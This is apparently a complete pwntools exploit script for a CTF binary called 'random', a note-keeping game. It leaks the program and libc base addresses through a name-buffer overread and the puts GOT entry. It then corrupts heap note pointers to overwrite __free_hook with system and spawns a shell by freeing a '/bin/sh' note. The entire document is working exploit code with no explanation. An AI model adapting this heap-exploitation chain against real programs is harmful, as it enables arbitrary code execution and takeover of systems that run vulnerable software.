from pwn import *
sh = process('./random') elf = ELF('./random') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = "amd64"
try: f = open('/tmp/pid', 'w') f.write(str(proc.pidof(sh)[0])) f.close() except Exception as e: print(e)
def add(size, content, another_note): sh.recvuntil('?(Y/N)\n') sh.sendline('Y') sh.recvuntil('Input the size of the note:\n') sh.sendline(str(size)) sh.recvuntil('Input the content of the note:\n') sh.send(content) sh.recvuntil('Do you want to add another note, tomorrow?(Y/N)\n') if(another_note): sh.sendline('Y') else: sh.sendline('N')
def update(index, content): sh.recvuntil('?(Y/N)\n') sh.sendline('Y') sh.recvuntil('Input the index of the note:\n') sh.sendline(str(index)) sh.recvuntil('Input the new content of the note:\n') sh.send(content)
def delete(index): sh.recvuntil('?(Y/N)\n') sh.sendline('Y') sh.recvuntil('Input the index of the note:\n') sh.sendline(str(index))
def view(index): sh.recvuntil('?(Y/N)\n') sh.sendline('Y') sh.recvuntil('Input the index of the note:\n') sh.sendline(str(index)) result = sh.recvuntil('\n') return result[:-1]
def do_not(times): for i in range(int(times)): sh.recvuntil('?(Y/N)\n') sh.sendline('N')
sh.recvuntil('Please input your name:\n') sh.send('a' * 8) sh.recvuntil('a' * 8) result = sh.recvuntil('?\n')[:-2]
image_base_addr = u64(result.ljust(8, '\0')) - 0xb90 log.success('image_base_addr: ' + hex(image_base_addr))
sh.sendline('35')
sh.recvuntil('How many times do you want to play this game today?(0~10)\n') sh.sendline('8')
add(17, 'bbbb\n', True) do_not(7)
sh.recvuntil('How many times do you want to play this game today?(0~10)\n') sh.sendline('7')
do_not(7 + 2)
notes_offset = 0x203180
sh.recvuntil('How many times do you want to play this game today?(0~10)\n') sh.sendline('1') do_not(1)
sh.recvuntil('How many times do you want to play this game today?(0~10)\n') sh.sendline('2') do_not(1) add(17, '\n', False)
sh.recvuntil('How many times do you want to play this game today?(0~10)\n') sh.sendline('1') add(17, p64(image_base_addr + notes_offset + 0x30) + '\n', False)
sh.recvuntil('How many times do you want to play this game today?(0~10)\n') sh.sendline('5') do_not(2) add(0x21, '\n', False) do_not(1) add(0x21, '\n', False)
sh.recvuntil('How many times do you want to play this game today?(0~10)\n') sh.sendline('8') do_not(8)
sh.recvuntil('How many times do you want to play this game today?(0~10)\n') sh.sendline('6') add(0x21, '\n', False) do_not(4) delete(0)
sh.recvuntil('How many times do you want to play this game today?(0~10)\n') sh.sendline('10') add(17, '\0' * 8 + '\n', False) do_not(1) update(0, p64(image_base_addr + elf.got['puts']) + '\n') do_not(1) result = view(4) libc_base_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts'] log.success('libc_base_addr: ' + hex(libc_base_addr))
update(0, p64(libc_base_addr + libc.symbols['__free_hook']) + '\n') update(4, p64(libc_base_addr + libc.symbols['system']) + '\n') update(1, '/bin/sh\0\n') delete(1)
sh.interactive()
|